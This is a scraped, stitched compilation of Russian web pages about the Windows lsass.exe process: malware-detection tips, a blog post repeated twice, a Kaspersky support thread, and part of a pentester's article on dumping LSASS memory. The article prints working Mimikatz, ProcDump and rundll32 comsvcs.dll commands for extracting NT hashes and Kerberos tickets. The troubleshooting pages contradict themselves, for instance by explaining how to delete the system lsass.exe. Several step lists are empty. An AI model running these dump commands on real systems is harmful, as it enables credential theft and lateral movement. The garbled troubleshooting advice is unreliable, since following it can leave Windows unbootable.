Local security authority process что это за процесс windows 10

Один из самых эффективных инструментов Windows, позволяющий обнаруживать зловредный софт и лишённый при этом каких-либо средств эвристического анализа – «Диспетчер задач». И нужно признаться, он достаточно активно используется многими пользователями для мониторинга ситуации в случае странного поведения компьютера. Возможность в любой момент времени отследить, какой процесс или приложение неэффективно расходует ресурсы ПК, очень важна, ведь такие процессы являются главными кандидатами на роль вируса, трояна или иного ПО из этой же категории. Более того, многие досконально изучили состав «Диспетчера задач», и любое новое имя в нём сразу воспринимается как потенциальная угроза. Процесс lsass.exe к таковым не принадлежит, поскольку является системным и присутствует во всех версиях Windows.

Но… Не всё так хорошо в королевстве датском. Сегодня речь пойдёт о том, в каких случаях к этому процессу следует относиться с недоверием.

Lsass.exe – что это за процесс

Если перевести с английского расшифровку аббревиатуры LSASS, получится что-то вроде «сервис проверки подлинности подсистемы локальной безопасности». Если говорить проще, это компонента операционной система, ответственная за авторизацию пользователей в рамках одного ПК. Процессу отводится важная роль в функционировании Windows, и если его удалить, для локальных юзеров вход в систему окажется закрыт. Попросту говоря, дальше окна приглашения ОС вы не попадёте.

Приложение lsass.exe – это исполняемая программа, расположенная в системном каталоге c:WindowsSystem32 и имеющая размер порядка 13-22 КБ. В силу вышесказанного можно утверждать, что в подавляющем большинстве случаев процесс не является вирусом, хотя его распространённость играет с ним плохую шутку: пожалуй, именно lsass.exe активнее всего используется вирусописателями в качестве мишени.

Как функционирует процесс lsass.exe

Задача системного процесса заключается в идентификации данных, введённых на этапе авторизации, и необязательно во время входа в систему. Если данные введены правильно, процесс устанавливает флаг, который воспринимается системой соответствующим образом. Если процесс авторизации запущен пользователем во время текущей сессии ОС, будет установлен флаг, позволяющий запускать пользовательскую среду (оболочку). Если в дальнейшем будет попытка инициализации процедуры авторизации со стороны приложения, оно получит права пользователя в соответствии с установленными флагами.

Из этого следует, что файл lsass.exe не должен иметь большой размер и что он практически не использует ресурсы компьютера, активируясь по мере необходимости, но в любом случае редко.

И если вы заметите в «Диспетчере задач», что это не так, то есть цифры в колонке «ЦП» прыгают, отклоняясь от нуля на солидные величины, то есть lsass.exe достаточно сильно грузит процессор – значит, вы имеете дело не с оригинальным файлом.

Действительно, злоумышленники охотно используют этот процесс для проникновения в систему, заражая сам исполняемый файл или маскируясь под него. При этом они используют самые разные ухищрения, чтобы обойти антивирусную защиту и не попасться на глаза пользователю. Например, посредством создания файла с похожим именем, локализованным в системном каталоге Windows (папка System32), или размещая заражённый файл с таким же именем в другой каталог.

Поскольку процесс отображается в «Диспетчере задач» как lsass.exe (первая буква L строчная, а не прописная), вирусописатели используют это, заменяя l на I, в этом случае Isass.exe будет выглядеть почти натурально, если не присматриваться. В некоторых шрифтах эти буквы практически неразличимы. Чтобы выявить подвох, необходимо скопировать имя файла, вставить его в Word и перевести в верхний регистр (uppercase). Если первая буква правильная, процесс отобразится как LSASS, если вирус, то так и останется ISASS.

Есть и другие приёмы, позволяющие замаскировать вирусный файл под настоящий – например, вставить в название пробел (lsass .exe), добавить лишнюю букву (lsassa.exe, lsasss.exe) и т. д.

Если запустить процедуру поиска файла с именем lsass.exe, и он окажется в папке, отличной от system32, можно быть уверенным, что мы имеем дело с вирусом. Такой файл можно смело удалять, не опасаясь последствий.

Осуществить проверку можно и непосредственно из «Диспетчера задач» — достаточно выделит его, кликнуть ПКМ (в Windows 10 – перейти во вкладку «Подробности») и выбрать пункт «Свойства». В новом окне отобразится полное имя файла и папка, в которой он хранится.

Не помешает и проверка подлинности файла, для чего нужно перейти во вкладку «Цифровые подписи» и убедиться, что файл подписан разработчиком – компанией Microsoft.

И раз уж у вас возникли подозрения на этот счёт, желательно проверить lsass.exe антивирусом: если он окажется заражённым, то с большой вероятностью этот факт вскроется и проблема будет решена. А поскольку пострадавшим оказался системный файл, неплохо бы проверить и остальные такие файла не предмет их целостности с помощью встроенных инструментов Windows, утилит sfc и dism.

Для этого запускаем командную строку (обязательно с правами администратора) и набираем команду:

sfc /scannow

Если вы хотите проверить только lsass, необходимо указать это в параметрах команды:

sfc /scanfile=c:windowssystem32lsass.exe

Утилита dism также выполняет проверку хранилища системных компонент операционной системы на предмет их повреждения, которые умеет исправлять. Синтаксис команды:

dism /online /cleanup-image /restorehealth

Ещё раз отметим, что удалять оригинальный файл lsass.exe нельзя, даже если он заражён, а вот выгрузить из памяти можно, это не приведёт к краху системы.

Отключение и удаление процесса lsass.exe

Итак, вы выяснили, что грузящий ЦП процесс lsass.exe – неоригинальный. Чтобы устранить угрозу, нужно предпринять ряд мер:

С большой вероятностью этих шагов будет достаточно, чтобы решить проблему загрузки ЦП и замедления работы ПК. Проверяем это, перезагрузив компьютер. Если процесс всё ещё грузит систему, можно попробовать его отключить.

Как отключить lsass.exe

Иногда не заражённый системный процесс действительно начинает использовать ресурсы компьютера, сильно замедляя его работу. После перезагрузки обычно всё нормализуется, но если вы хотите разгрузить ПК в текущем сеансе работы операционной системы, попробуйте просто отключить процесс:

Этого будет достаточно, чтобы избавиться от загрузки процессора и памяти.

Чтобы удалить файл lsass.exe, достаточно перейти в системную папку system32, выбрать файл, кликнуть ПКМ и выбрать пункт меню «Удалить». Важно помнить, что это важный системный процесс, который жизненно необходим на многопользовательских компьютерах, и его удаление может привести к невозможности входа в систему и использованию средств восстановления Windows.

Всем приветук. Ребята, дело серьезное. Ибо Local Security Authority Process это процесс lsass.exe, который является не просто системным виндовским процессом, но и одним из важных. Его нельзя завершать. Помню у меня была Windows XP, ну так вот я глупый процесс lsass.exe вырубал. И что дальше? А дальше выскакивало сообщение, что ваша система через минуту будет выключена, и все это из-за lsass.exe! С тех пор прошло много времени, но больше я не пробовал завершать процесс lsass.exe….

Но что делает lsass.exe? Ну и вопросец.. Я начал искать на него ответ в сети интернет (ух ты, рифма). И вот к чему я пришел. lsass.exe отвечает за авторизацию пользователей, ну что-то в таком роде… И есть мнение, что если этот процесс грузит комп, то нужно подождать немного и его потом отпустит. Хм, а что еще делать? Завершать? Ну я написал уже свой опыт, думаю что вы его повторить не захотите..

Кстати нашел картинку, вот такое сообщение выскакивало в Windows XP, когда я завершал процесс lsass.exe:

РЕКЛАМА

Тут написано мол собирай монатки чувак, через 60 секунд винда выключится! Кстати и был даже обратный отсчет….

Также в сети нашел такой вопрос, один чел пишет, что у него lsass.exe лезет в интернет, и зачем это ему? Мне тоже стало интересно. Но вы знаете, я тут кое что вспомнил. У меня на компе стоит фаервол и все строго, только ограниченным процессам можно идти в интернет, какие именно то это я сам указал. Там есть Хром, Скайп, ну еще что-то есть.. Есть и процесс svchost.exe, без него никак. Но самое главное знаете что? Там нет lsass.exe! Я просто об этом не думал никогда. Я знаю что обязательно нужен доступ в интернет процессу svchost.exe, а вот lsass.exe может обойтись. И тут такой прикол, если хотите тоже чтобы у вас был такой порядок, то познакомьтесь с фаерволом Outpost Firewall, ой вот и нагрузил я вас. Совсем забыл, у меня Windows 10 стоит. В общем фаервол не сложный, если есть желание, то поставьте его

Короче мы уже поняли, что если процесс lsass.exe грузит ПК, то стоит попробовать подождать, пусть он там сделает все свои дела. Если процесс lsass.exe лезет в интернет, то я не знаю нормально это или нет, но как я уже писал, у меня он работает спокойно без интернета.

Процесс lsass.exe жизненно необходим для нормальной работы винды. У меня он один в диспетчере задач всегда был. Вот только что проверил, один, висит себе и запущен он от имени СИСТЕМА:

РЕКЛАМА

Кстати я лично не видел чтобы он грузил процессор у меня. Теперь давайте посмотрим как там в Windows 7, она у меня стоит на экспериментальном компе, где я провожу всякие эксперименты с программами. Я запустил тестовый ПК, открыл диспетчер, и вот он тут тоже сидит lsass.exe:

Как я уже писал, я никогда не видел чтобы процесс lsass.exe грузил комп. Кроме одного случая. Это было давно, я ходил еще в школу тогда. У меня стояла Windows XP на моем Пентиуме 4. И вот тогда процесс lsass.exe грузил комп, но не просто так, а из-за вируса. Тогда был вирус Кидо, который так разбушевался, кучу компов заразил, и вот это он внедрялся там в процесс lsass.exe ну и беда наступала. Помогала только переустановка. Но стоило было подключиться к интернету как сразу он заражался вирусом Кидо.. Помню я это очень хорошо, мы всей семьей еле пережили те времена…

Так, вывод можно сделать какой? Процесс lsass.exe НЕ ГРУЗИТ КОМП просто так, либо это может быть редко и минут на 10, ну может на 15. А потом все, отпускает. Но в большинстве случаев, если lsass.exe адски грузит ПК, то это дело рук вирусов! Увы ребята, я не прикалуюсь..

Итак, мы поняли, что если lsass.exe напрягает ПК, что если их два или даже больше, то тут пахнет вирусами. Что делать? Ну как что. Нужно сканировать комп на наличие вирусов. Чем? Мое мнение, что самым эффективным инструментом будет Доктор Веб КуреИТ. Это бесплатная утилита, завоевавшая доверие пользователей, серьезно. Загрузить данную утилиту можно здесь (это официальный сайт):

https://free.drweb.ru/cureit/

Там есть и инструкция как пользоваться. Кстати вот как выглядит утилита, здесь она сканирует ПК:

Вторая утилита, которую я советую, то это AdwCleaner. Она тоже мощная, но профиль работы другой. Если первая нацелена на поиск особо опасных вирусов, таких как трояны, черви, руткиты, то AdwCleaner мастер по нахождению всякой рекламной дичи. Есть такие рекламные вирусы, их главная задача это показать вам рекламу или рекламный сайт. AdwCleaner можно загрузить вот отсюдова:

https://www.malwarebytes.com/adwcleaner/

Вот как выглядит AdwCleaner:

Это версия 5, уже появилась 7 версия, но там все почти также. Справитесь точно.

Также находил в интернете инфу, что процесс lsass.exe можно отключить путем отключения службы Диспетчер учетных записей:

Что я тут могу сказать? Я этого не практиковал. Но не удивлюсь если после такого отключения будет ошибка…

Так что же делать? Ну или вирусы или подождать пока спадет нагрузка. Это самые адекватные варианты, что может быть.

На этом все, надеюсь инфа помогла. Удачи и позитива!

990x.top

Простой компьютерный блог для души)

Всем приветук. Ребята, дело серьезное. Ибо Local Security Authority Process это процесс lsass.exe, который является не просто системным виндовским процессом, но и одним из важных. Его нельзя завершать. Помню у меня была Windows XP, ну так вот я глупый процесс lsass.exe вырубал. И что дальше? А дальше выскакивало сообщение, что ваша система через минуту будет выключена, и все это из-за lsass.exe! С тех пор прошло много времени, но больше я не пробовал завершать процесс lsass.exe….

Но что делает lsass.exe? Ну и вопросец.. Я начал искать на него ответ в сети интернет (ух ты, рифма). И вот к чему я пришел. lsass.exe отвечает за авторизацию пользователей, ну что-то в таком роде… И есть мнение, что если этот процесс грузит комп, то нужно подождать немного и его потом отпустит. Хм, а что еще делать? Завершать? Ну я написал уже свой опыт, думаю что вы его повторить не захотите..

Кстати нашел картинку, вот такое сообщение выскакивало в Windows XP, когда я завершал процесс lsass.exe:

Тут написано мол собирай монатки чувак, через 60 секунд винда выключится! Кстати и был даже обратный отсчет….

Также в сети нашел такой вопрос, один чел пишет, что у него lsass.exe лезет в интернет, и зачем это ему? Мне тоже стало интересно. Но вы знаете, я тут кое что вспомнил. У меня на компе стоит фаервол и все строго, только ограниченным процессам можно идти в интернет, какие именно то это я сам указал. Там есть Хром, Скайп, ну еще что-то есть.. Есть и процесс svchost.exe, без него никак. Но самое главное знаете что? Там нет lsass.exe! Я просто об этом не думал никогда. Я знаю что обязательно нужен доступ в интернет процессу svchost.exe, а вот lsass.exe может обойтись. И тут такой прикол, если хотите тоже чтобы у вас был такой порядок, то познакомьтесь с фаерволом Outpost Firewall, ой вот и нагрузил я вас. Совсем забыл, у меня Windows 10 стоит. В общем фаервол не сложный, если есть желание, то поставьте его

Короче мы уже поняли, что если процесс lsass.exe грузит ПК, то стоит попробовать подождать, пусть он там сделает все свои дела. Если процесс lsass.exe лезет в интернет, то я не знаю нормально это или нет, но как я уже писал, у меня он работает спокойно без интернета.

Процесс lsass.exe жизненно необходим для нормальной работы винды. У меня он один в диспетчере задач всегда был. Вот только что проверил, один, висит себе и запущен он от имени СИСТЕМА:

Кстати я лично не видел чтобы он грузил процессор у меня. Теперь давайте посмотрим как там в Windows 7, она у меня стоит на экспериментальном компе, где я провожу всякие эксперименты с программами. Я запустил тестовый ПК, открыл диспетчер, и вот он тут тоже сидит lsass.exe:

Как я уже писал, я никогда не видел чтобы процесс lsass.exe грузил комп. Кроме одного случая. Это было давно, я ходил еще в школу тогда. У меня стояла Windows XP на моем Пентиуме 4. И вот тогда процесс lsass.exe грузил комп, но не просто так, а из-за вируса. Тогда был вирус Кидо, который так разбушевался, кучу компов заразил, и вот это он внедрялся там в процесс lsass.exe ну и беда наступала. Помогала только переустановка. Но стоило было подключиться к интернету как сразу он заражался вирусом Кидо.. Помню я это очень хорошо, мы всей семьей еле пережили те времена…

Так, вывод можно сделать какой? Процесс lsass.exe НЕ ГРУЗИТ КОМП просто так, либо это может быть редко и минут на 10, ну может на 15. А потом все, отпускает. Но в большинстве случаев, если lsass.exe адски грузит ПК, то это дело рук вирусов! Увы ребята, я не прикалуюсь..

Итак, мы поняли, что если lsass.exe напрягает ПК, что если их два или даже больше, то тут пахнет вирусами. Что делать? Ну как что. Нужно сканировать комп на наличие вирусов. Чем? Мое мнение, что самым эффективным инструментом будет Доктор Веб КуреИТ. Это бесплатная утилита, завоевавшая доверие пользователей, серьезно. Загрузить данную утилиту можно здесь (это официальный сайт):

Там есть и инструкция как пользоваться. Кстати вот как выглядит утилита, здесь она сканирует ПК:

Вторая утилита, которую я советую, то это AdwCleaner. Она тоже мощная, но профиль работы другой. Если первая нацелена на поиск особо опасных вирусов, таких как трояны, черви, руткиты, то AdwCleaner мастер по нахождению всякой рекламной дичи. Есть такие рекламные вирусы, их главная задача это показать вам рекламу или рекламный сайт. AdwCleaner можно загрузить вот отсюдова:

Вот как выглядит AdwCleaner:

Это версия 5, уже появилась 7 версия, но там все почти также. Справитесь точно.

Также находил в интернете инфу, что процесс lsass.exe можно отключить путем отключения службы Диспетчер учетных записей:

Что я тут могу сказать? Я этого не практиковал. Но не удивлюсь если после такого отключения будет ошибка…

Так что же делать? Ну или вирусы или подождать пока спадет нагрузка. Это самые адекватные варианты, что может быть.

На этом все, надеюсь инфа помогла. Удачи и позитива!

Источник

Как отключить lsass.exe в Windows 7?

Чем дальше в лес, тем больше дров. Эта пословица в полной мере описывает последствия обновления операционных систем семейства Windows. С версии Vista разработчики добавили функцию «интеллектуальной верификации» пользователя, с помощью которой повышается уровень защиты данных. Но если вы это читаете, то lsass.exe грузит процессор и работает нестабильно. Давайте рассмотрим, как с этим бороться.

Что такое lsass.exe?

Lsass.exe – это процесс, использующийся службой Local Security Authority Process. Он определяет подлинность залогинившегося пользователя с помощью систем искусственного интеллекта. Подробный принцип работы неизвестен, но разработчики утверждают, что пиковая нагрузка на процессор составляет 50-60% и длится до 10 минут. Поэтому, если lsass.exe загружает систему на 100% и не позволяет нормально работать за компьютером, имеет место серьезное нарушение работы службы безопасности.

Как решить проблему?

Причина столь высокого потребления ресурсов кроется в двух причинах: повреждении системных файлов или заражении вирусом. Рассмотрим каждый аспект подробно.

Удаление вирусного ПО

В 90% случаев проблема кроется в вирусном ПО. Зараженный файл маскируется под стандартный lsass.exe и скрыто делает свои «грязные делишки». Когда повреждения системы проявляются, обидчик выдает себя повышенным использованием аппаратных ресурсов.

Для лечения выполняется ряд шагов:

Отключение службы

Если «противовирусные» утилиты не дали никакого результата, то единственным выходом остается принудительное отключение службы.

Источник

Lsass.exe: что это за процесс и почему он грузит процессор

В Диспетчере задач Windows можно встретить процесс с названием «lsass.exe». Обычно данный файл просто висит в памяти компьютера и не создает никаких неудобств. Но, некоторые пользователи сталкиваются с тем, что процесс «lsass.exe» грузит процессор, память или диск на 100%.

В этой статье мы расскажем, что это за процесс, является ли он вирусом и можно ли его удалить.

Lsass.exe: что это за процесс

Поскольку процесс « lsass.exe » присутствует во всех современных версиях Windows, он часто используется создателями вирусов и шпионских программ для маскировки своих зловредов в системе. Вредоносные программы могут заражать непосредственно сам файл « lsass.exe » в папке System32, создавать файлы с похожими названиями в папке System32 или использовать такое же имя, но располагаться в других папках.

Lsass.exe – это вирус?

Можно ли удалять lsass.exe?

Удалять файл « lsass.exe », даже в случае заражения вирусами, нельзя. Поскольку без этого файла вы не сможете зайти в систему и продолжить работу. Фактически Windows выйдет из строя и вам придется восстанавливать работу с помощью загрузочного диска.

Но, если в качестве первой буквы указана большая буква « i » ( Isass.exe ), то такой файл является вирусом, который просто прикидывается системным файлом, и его можно спокойно удалять. Для того чтобы проверить, какая буква используется нужно скопировать имя файла и перевести его в нижний регистр (lowercase). Это можно сделать при помощи онлайн сервисов или программы Word.

Кроме этого, для маскировки вредоносного файла могут использоваться и другие ошибки в названии файла, например:

Также файл « lsass.exe » можно удалять если он находится не в папке « c:windowssystem32 ». В этом случае это также вирус.

Как проверить lsass.exe

Для того чтобы узнать точное название файла и его расположение, нужно открыть « Диспетчер задач », перейти на вкладку « Подробности » и открыть свойства файла.

В результате откроется окно со свойствами, в котором будет указано имя файла и его расположение.

В свойствах файла также можно проверить цифровую подпись. Оригинальный файл « lsass.exe » должен быть подписан компанией Майкрософт.

Проверка целостности системных файлов

Чтобы проверить всю операционную систему на целостность файлов нужно запустить командную строку с правами администратора и выполнить команду:

Также с помощью SFC можно проверить только файл « lsass.exe ». Для этого нужно использовать команду « sfc /scanfile » с указанием полного пути к файлу, например:

Для использования DISM вам также понадобится командная строка с правами администратора. В этом случае для проверки системы нужно выполнить:

Если операционная система не загружается, то эти команды можно выполнить с загрузочного диска. Более подробно об использовании SFC и DISM можно прочитать в отдельной статье о проверке целостности системных файлов.

Lsass.exe грузит процессор, память или диск

Пользователи иногда сталкиваются с тем, что процесс « lsass.exe » создает высокую нагрузку на процессор, оперативную память или жесткий диск. Ниже мы рассмотрим некоторые причины и возможные решения данной проблемы.

Обратите внимание, это приведет к удалению паролей, локально сохраненных в браузере.

Источник

Local security authority process что это за процесс windows 10

Этот форум закрыт. Спасибо за участие!

Спрашивающий

Общие обсуждения

Переписка со службой поддержки Kaspersky:

Kaspersky Small Office Security 6.0 File Server Protection

Запрос ожидает обработки

Ваше сообщение

Ответ Службы технической поддержки

Ваше сообщение

Инструкцию выполнили (хотя маркер напротив пункта: «Обнаружить другие программы, которые могут быть использованы для нанесения вреда компьютеру или данным пользователя» был установлен ранее), ситуация сохраняется, шлю файл lsass.exe в архиве с паролем: infected. Так же у меня вопрос: как заблокировать исходящий трафик процесса lsass.exe? Блокировка с помощью «сетевых правил программы» не помогает. Сетевая активность в «Мониторинге сети» Kaspersky Small Office Security не фиксирует все соединения процесса Local Security Authority Process (тот же lsass.exe) в отличие от сетевой активности на закладке сеть в мониторинге ресурсов Windpws. Согласно мониторингу ресурсов Windpws процесс lsass.exe отправляет данных 1093 КБ/с тогда как сетевая активность в «Мониторинге сети» Kaspersky того же процесса фиксируется в 0,04 КБ/с, при общем исходящем трафике 4,50 КБ/с. Так например согласно прикрепленной к настоящему сообщению «Сетевой активности от 25.06.2019» Kaspersky не фиксирует соединение процесса lsass.exe с исходящим трафиком 677 КБ/с на адрес 123.138.91.29 в отличии от мониторинга ресурсов Windpws. Что говорит о некорректной работе программы Kaspersky Small Office Security. Прошу разобраться в этом и помочь решить данную проблему.

Файлы: lsass.rarСетевая активность от 25.06.2019.jpg

Ответ Службы технической поддержки

Ваше сообщение

Установили последние обновления Windows, проблема сохранилась. Так же было замечено, что при попытки блокировки процесса lsass.exe описанным ранее способом то привадила к высвобождению трафика, то нет, как будто я и не блокировал этот процесс. В процессе дня наблюдается эпизодические всплески данного процесса. Он появляется, загружает сеть исходящим трафиком так, что не возможно пользоваться интернетом и со временем все нормализуется. Окончательно заблокировать исходящий трафик процесса lsass.exe с помощью «сетевых правил программы» в Kaspersky Small Office Security не удается. Даже если любая сетевая активность для адреса подсети – Доверительная, Локальная и Публичная сети стоит на запрете процесс lsass.exe грузит сеть своим большим до 8 Мбит/с исходящим трафиком при пропускной способности интернета в 2 Мбита/с. Приложения: отчёт утилиты GetSystemInfo версии 6.

Ответ Службы технической поддержки

Источник

Local security authority process что это за процесс windows 10

General discussion

Переписка со службой поддержки Kaspersky:

Kaspersky Small Office Security 6.0 File Server Protection

Запрос ожидает обработки

Ваше сообщение

Ответ Службы технической поддержки

Ваше сообщение

Инструкцию выполнили (хотя маркер напротив пункта: «Обнаружить другие программы, которые могут быть использованы для нанесения вреда компьютеру или данным пользователя» был установлен ранее), ситуация сохраняется, шлю файл lsass.exe в архиве с паролем: infected. Так же у меня вопрос: как заблокировать исходящий трафик процесса lsass.exe? Блокировка с помощью «сетевых правил программы» не помогает. Сетевая активность в «Мониторинге сети» Kaspersky Small Office Security не фиксирует все соединения процесса Local Security Authority Process (тот же lsass.exe) в отличие от сетевой активности на закладке сеть в мониторинге ресурсов Windpws. Согласно мониторингу ресурсов Windpws процесс lsass.exe отправляет данных 1093 КБ/с тогда как сетевая активность в «Мониторинге сети» Kaspersky того же процесса фиксируется в 0,04 КБ/с, при общем исходящем трафике 4,50 КБ/с. Так например согласно прикрепленной к настоящему сообщению «Сетевой активности от 25.06.2019» Kaspersky не фиксирует соединение процесса lsass.exe с исходящим трафиком 677 КБ/с на адрес 123.138.91.29 в отличии от мониторинга ресурсов Windpws. Что говорит о некорректной работе программы Kaspersky Small Office Security. Прошу разобраться в этом и помочь решить данную проблему.

Файлы: lsass.rarСетевая активность от 25.06.2019.jpg

Ответ Службы технической поддержки

Ваше сообщение

Установили последние обновления Windows, проблема сохранилась. Так же было замечено, что при попытки блокировки процесса lsass.exe описанным ранее способом то привадила к высвобождению трафика, то нет, как будто я и не блокировал этот процесс. В процессе дня наблюдается эпизодические всплески данного процесса. Он появляется, загружает сеть исходящим трафиком так, что не возможно пользоваться интернетом и со временем все нормализуется. Окончательно заблокировать исходящий трафик процесса lsass.exe с помощью «сетевых правил программы» в Kaspersky Small Office Security не удается. Даже если любая сетевая активность для адреса подсети – Доверительная, Локальная и Публичная сети стоит на запрете процесс lsass.exe грузит сеть своим большим до 8 Мбит/с исходящим трафиком при пропускной способности интернета в 2 Мбита/с. Приложения: отчёт утилиты GetSystemInfo версии 6.

Ответ Службы технической поддержки

Источник

( 2 оценки, среднее 5 из 5 )

Здравствуйте, хабролюди!

Меня зовут @snovvcrash, и я работаю в отделе анализа защищенности компании Angara Security. Отвечаю я, значится, за инфраструктурный пентест, и в этой статье я хотел бы поговорить об одном из самых эффективных методов добычи учетных данных на «внутряке» — извлечении секретов из памяти процесса lsass.exe (MITRE ATT&CK T1003.001) — и, в частности, об особенностях реализации этого метода в ру-сегменте тестирования на проникновение.

За два года работы пентестером мои нервы были изрядно потрепаны нашим любимым отечественным антивирусным решением Kaspersky Endpoint Security (далее — KES), который установлен у каждого первого второго нашего клиента, и который, в отличие от других средств антивирусной защиты, наглухо блокирует все попытки потенциального злоумышленника получить доступ к lsass.exe (не реклама!).

Далее я расскажу свой опыт использования и кастомизации публично доступных инструментов, которые в разные промежутки времени позволяли мне сдампить память LSASS при активном «Касперском». Погнали!

Краткий ликбез

Если не сильно углубляться в теорию, то Local Security Authority Subsystem Service (он же LSASS) — это процесс (исполняемый файл C:WindowsSystem32lsass.exe), ответственный за управление разными подсистемами аутентификации ОС Windows. Среди его задач: проверка «кред» локальных и доменных аккаунтов в ходе различных сценариев запроса доступа к системе, генерация токенов безопасности для активных сессий пользователей, работа с провайдерами поддержки безопасности (Security Support Provider, SSP) и др.

Для нас, как для этичных хакеров, ключевым значением обладает тот факт, что в домене Active Directory правит концепция единого входа Single Sign-On (SSO), благодаря которой процесс lsass.exe хранит в себе разные материалы аутентификации залогиненных пользователей, например, NT-хеши и билеты Kerberos, чтобы «пользаку» не приходилось печатать свой паролЪ в вылезающем на экране окошке каждые 5 минут. В «лучшие» времена из LSASS можно было потащить пароли в открытом виде в силу активности протокола WDigest (HTTP дайджест-аутентификация), но начиная с версии ОС Windows Server 2008 R2 вендор решил не включать этот механизм по умолчанию.

Несмотря на то, что в 2к22 при успешном дампе LSASS злоумышленнику чаще всего остается довольствоваться NT-хешами и билетами Kerberos, это все равно с большой вероятностью позволит ему повысить свои привилегии в доменной среде AD за короткий промежуток времени. Реализуя схемы Pass-the-Hash, Overpass-the-Hash и Pass-the-Ticket, злоумышленник может быстро распространиться по сети горизонтально, собирая по пути все больше хешей и «тикетов», что в конечном итоге дарует ему «ключи от Королевства» в виде данных аутентификации администратора домена.

Экскурс в историю дампов LSASS

Рассмотрим первопроходцев в ремесле извлечения данных аутентификации из памяти LSASS.

Mimikatz

Было бы преступлением не начать повествование с такого мастодонта в области потрошения подсистем аутентификации Windows как Mimikatz, которым хоть раз пользовался любой пентестер.

Модуль sekurlsa::logonpasswords позволяет «налету» парсить память lsass.exe с целью поиска секретиков без сохранения соответствующего дампа на диск. Этот инструмент поистине произвел революцию в наступательных операциях и положил начало многим другим исследованием в области извлечения чувствительной информации с хостов под управлением Windows.

Cmd

C:>mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # log out.txt
mimikatz # sekurlsa::logonpasswords full
mimikatz # exit

C:>mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "sekurlsa::logonpasswords full" "exit"

К сожалению для пентестеров, вендоры AV / EDR быстро «просекли фишку» и стали относиться к «Мимику» <sarkazm>как к самому опасному ПО, созданному за всю историю человечества</sarkazm>, поэтому на сегодняшний момент он пригоден лишь как пособие для изучения реализованных в нем техник — для их переосмысления и переизобретения в собственных инструментах.

На заметку: официальная вики Mimikatz покрывает далеко не все его возможности, поэтому энтузиасты InfoSec-комьюнити создали вот такой замечательный ресурс, которым я рекомендую пользоваться в случае возникновения вопросов, что делает та или иная команда этого замечательного инструмента.

ProcDump

Другим фаворитом внутренних пентестов долгое время был метод создания снимка памяти LSASS с помощью служебной программы ProcDump из состава Windows Sysinternals. Этот инструмент позволяет создавать дампы процессов с целью их дальнейшего анализа, и процесс lsass.exe тому не исключение (если права позволяют, разумеется, хе-хе).

Cmd

C:>procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp

Теперь можно притащить слепленный дамп к себе на тачку и распарсить его с помощью того же Mimikatz.

Cmd

C:>mimikatz.exe
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords full
mimikatz # exit

C:>mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" "exit"

Или его аналога для Linux – Pypykatz.

Cmd

~$ pypykatz lsa minidump lsass.dmp

Прелесть этого метода заключается в том, что все необходимые операции по созданию слепка памяти выполняет ProcDump, подписанный Microsoft, и этичному взломщику не требуется тащить на хост никакой малвари. Однако разработчики корпоративных антивирусных решений тоже долго не стояли в стороне и оперативно прикрыли возможность делать дампы LSASS с помощью ProcDump, включив его в разряд PDM:HackTool.Win32.CreDump.rbaa.

comsvcs.dll

Безусловно, интересной находкой стало обнаружение экспорта функции MiniDumpW в системной библиотеке C:WindowsSystem32comsvcs.dll, которая дергает вызов Win32 API MiniDumpWriteDump и позволяет делать слепки процессов в рамках концепции Living Off The Land Binaries And Scripts (LOLBAS), когда злоумышленнику не нужно приносить ничего лишнего на атакуемую машину.

Эта библиотека легла в основу первых версий замечательной утилиты lsassy, позволяющей делать слепки LSASS и удаленно читать необходимые области памяти созданного дампа, а не перенаправлять его целиком на машину атакующего (подробнее о принципе работы можно почитать в блоге автора утилиты).

Если взглянуть на код, можно найти суперские «однострочники» для Cmd и PowerShell, которые автоматически позволяют получить идентификатор процесса lsass.exe и сдампить его память по заданному пути.

C:>for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump ^%B C:lsass.dmp full
PS C:> rundll32.exe C:WindowsSystem32comsvcs.dll, MiniDump (Get-Process lsass).Id C:lsass.dmp full

Примечание: лучше пользоваться PowerShell-версией команды, так как для оболочки PowerShell в отличии от Cmd по дефолту включена привилегия SeDebugPrivilege для привилегированной сессии шелла, которая понадобится для доступа к памяти lsass.exe.

Стоит ли говорить, что создание дампа по такой простой технике, разумеется, будет предотвращено хотя бы мало-мальски неравнодушным антивирусом?

Out-Minidump.ps1

Еще один древний как мир способ — позаимствовать импорт P/Invoke функции MiniDumpWriteDump из класса NativeMethods сборки System.Management.Automation.WindowsErrorReporting, как это делается в скрипте Out-Minidump.ps1 из арсенала PowerSploit.

MiniDumpWriteDump

$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
$MiniDumpWriteDump

Результат работы скрипта аналогичен вызову функции MiniDump из предыдущего метода, поэтому оставлю это в качестве упражнения для читателя. Ну и, соответственно, антивирусы так же негативно к нему относятся.

Дампим LSASS по OPSEC-овски

Итак, перейдем к самому интересному: как же можно «угодить» антивирусным средствам защиты и сделать дамп памяти процесса lsass.exe в стиле Operational Security?

Запреты AV на создание слепков памяти LSASS условно можно разделить на 3 части:

1. Запрет на получение дескриптора процесса lsass.exe.

2. Запрет на чтение виртуальной памяти процесса lsass.exe.

3. Запрет на сохранение результирующего дампа на диск.

Ниже мы рассмотрим 3 проекта, каждый из которых в свое время помогал мне извлечь чувствительную информацию из памяти сетевых узлов при активном средстве KES на внутренних пентестах или операциях Red Team.

MirrorDump

Первым обнаруженным мною проектом, который на удивление мог обходить защиту KES, был MirrorDump от исследователя @_EthicalChaos_.

Его ключевые особенности:

• Написан на C#, что позволяет запускать его из памяти сессии C2 или с помощью механизма .NET Reflection.Assembly.

• Применяет магию Boo.Lang и плагина DllExport для генерации «на лету» псевдопровайдера аутентификации LSA SSP и его загрузки в память LSASS для получения дескриптора процесса lsass.exe вместо использования API NtOpenProcess.

